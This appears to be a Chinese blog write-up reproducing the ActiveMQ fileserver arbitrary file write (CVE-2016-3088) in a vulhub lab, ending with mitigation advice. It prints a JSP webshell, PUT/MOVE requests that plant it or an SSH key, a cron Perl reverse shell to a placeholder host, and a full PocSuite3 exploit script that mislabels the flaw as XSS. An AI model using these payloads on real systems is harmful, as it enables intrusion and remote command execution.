ActiveMQ任意文件写入漏洞复现(CVE-2016-3088)

背景简述

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现其使用率并不高,而且文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

影响版本

Apache ActiveMQ 5.0.0 – 5.13.2

ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用

5.14.0版本以后,彻底删除fileserver

漏洞原理

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;

写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;

写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

源码分析

ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,下载 ActiveMQ 5.7.0 源码 ,可以看到后台处理 PUT 的关键代码如下

\activemq-parent-5.7.0\activemq-fileserver\src\main\java\org\apache\activemq\util\RestFilter.java

image-20201221124103160

用户可以上传文件到指定目录,该路径在 conf/jetty.xml 中定义,如下

\activemq-parent-5.7.0\assembly\src\release\conf\jetty.xml

image-20201221124259365

顺着 PUT 方法追踪,可以看到调用了如下函数

image-20201221124543269

同时看到后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。

image-20201221124637519

由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。

漏洞复现

环境搭建

vulnhub拉取环境

git clone https://github.com/vulhub/vulhub.git

切换到\vulhub\activemq\CVE-2016-3088目录

docker-compose build

docker-compose up -d

运行端口为8161/61616

版本为5.11.1

0x01 webshell方式

1、暴破目录

1
2
3
4
5
PUT /fileserver/test/%20/%20 HTTP/1.1
Host: 192.168.124.11:8161
Content-Length: 4

test

构造错误上传可以暴破绝对路径,在5.11.1版本下未成功

2、查看绝对路径

admin登录

http://192.168.124.11:8161/admin/test/systemProperties.jsp

image-20201220224437301

查看到绝对路径/opt/activemq

3、PUT上传JSP的webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PUT /fileserver/2.jsp%00 HTTP/1.1
Host: 192.169.124.11:8161
Content-Length: 330

<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>

image-20201220225302431

http://192.168.124.11:8161/fileserver/2.jsp

image-20201220225424550

上传成功但是不能解析(filserver目录下不支持)

4、MOVE修改路径

可以解析jsp文件的路径有:

1./opt/activemq/webapps/api

2./opt/activemq/webapps/admin

构造file:///opt/activemq/webapps/admin/为上传的目录

1
2
3
4
5
6
MOVE /fileserver/2.jsp%00 HTTP/1.1
Destination: file:///opt/activemq/webapps/admin/3.jsp
Host: 192.168.124.11:8161
Content-Length: 0


image-20201220225938299

注意此处Content-Length:0后要空2行,否则响应超时

5、admin登录执行命令

http://192.168.124.11:8161/admin/3.jsp?cmd=pwd

image-20201220230015679

0x02 上传SSH公钥方式

1、本地生成key

1
ssh-keygen -t rsa

image-20201220231942917

三个文件

image-20201220231957829

2、将id_rsa.pub公钥上传

1
2
3
4
5
6
PUT /fileserver/rsa.txt HTTP/1.1
Host: 192.169.124.11:8161
Content-Length: 411

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDgzwhc0OK6i7Mkqsc+TA5h+em9l0PvMakFqBLmaqDtKot6omy8aYkRrjN58jeZgoNpUGSMUuETWykTmOucE7gcU5YxzTKSB6lMM0KZJFC1uRKkUbuIuJud2L51ZSXTpruY6ozJIH/UzBjwoWdX6eCwYbGUwNgKdjeDZGKJfoqXLenjIDMB32DGk+PyB6wEyBZFYQeF2kixOsC/xavmQjtVEywz2CaJAiEbekCOns7XVqiMfBB/04A0790ylTFaDyW2ZR2zTpJ76LYa8busB8MrA/Zz7B8Dw1b/P9We3xOqKfUT8GOQ1zmfxxdpCS8UUv6Af4cuFYJXY7fdtzEnrZl esg\wangrixiang01@A020171-NC

3、修改路径为/root/.ssh/authorized_keys

1
2
3
4
5
6
MOVE /fileserver/rsa.txt HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: 192.168.124.11:8161
Content-Length: 2


4、免密登录

ssh root@192.168.124.11

(此处docker容器没有ssh,不予演示)

0x03写入cron.d计划任务

image-20201221090828724

minute hour day month week command * * * * * command
代表每分钟执行一次

顺序:分 时 日 月 周

1
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

坑点:末尾加两个空格,burp中修改为0a

put先写入fileserver/1.txt

然后move到/etc/cron.d/root

1
2
3
4
5
6
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.124.11:8161
Content-Length: 0


image-20201221011159334

image-20201221011831395

这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

0x04Metasploit 反弹shell

进入metasploit,搜索2016-3088

image-20201221090236987

image-20201221090224977

0x05写入jetty.xml或jar

在写入shell时会受到身份认证的限制,实际中除了口令爆破成功之外写shell比较困难,如果采用计划任务反弹shell,则需要activemq时root权限启动的,否则无法写入计划任务反弹shell,这个时候会想到写入jetty.xml配置文件覆盖原来的配置,取消身份认证即可写shell;思路没有问题,但是在本地测试时发现可以写入覆盖,但是必须要active重启才可以使配置生效,所以只有在root权限下才可以写入计划任务让服务重启,但此时可以直接弹shell了,就没必要去覆盖配置了,总体来说,思路上没有问题。

jetty.xml配置如下:只需要将身份认证的true改为false即可

image-20201221012948366

EXP编写

使用PocSuite3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from collections import OrderedDict
import requests
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OptString


class ActiveMq(POCBase):
vulID = '001' # ssvid
version = '1.0'
author = ['b0urne']
vulDate = '2020-12-22'
createDate = '2020-12-22'
references = ['https://paper.seebug.org/346/']
name = 'Apache ActiveMQ (CVE-2016-3088)'
appPowerLink = 'http://www.knownsec.com/'
appName = 'Apache ActiveMQ'
appVersion = 'Apache ActiveMQ 5.11.1'
vulType = VUL_TYPE.XSS
desc = '''
python cli.py -r docs/AcitveMq.py -u target --verify
python cli.py -r docs/AcitveMq.py -u target --attack
'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP

def _verify(self):
result = {}
path = "fileserver/1.txt"
url = self.url + '/' + path
payload = '111'
#payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password"))
r = requests.put(url, data=payload)

if r.status_code == 204:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['PutUrl'] = url
result['VerifyInfo']['Postdata'] = payload

return self.parse_output(result)


def _attack(self):
result = {}
path = "fileserver/1.txt"
path1 = "api/1.jsp?cmd=id"
url = self.url + '/' + path
url1 = self.url + '/' + path1

proxies = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}

payload = '<%@ page import="java.io.*"%><%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}%>'

headers = {
'Destination': 'file:///opt/activemq/webapps/api/1.jsp'
}

headers1 = {
'Authorization': 'Basic YWRtaW46YWRtaW4=',
'Connection': 'close'
}

try:
resp = requests.put(url, data=payload)
resp1 = requests.get(url)
resp2 = requests.request('MOVE', url=url, headers=headers)
resp3 = requests.get(url1, headers=headers1)
result['AdminInfo'] = {}
result['AdminInfo']['SHELL'] = url1
result['AdminInfo']['RESP'] = resp3
result['AdminInfo']['EXEC '] = resp3.text[10:-5]

except Exception as ex:
pass

return self.parse_output(result)


def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output


register_poc(ActiveMq)

image-20201222152126500

image-20201222152140580

漏洞防御

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

image-20201220234635800

作者

B0urne

发布于

2020-12-20

更新于

2021-02-23

许可协议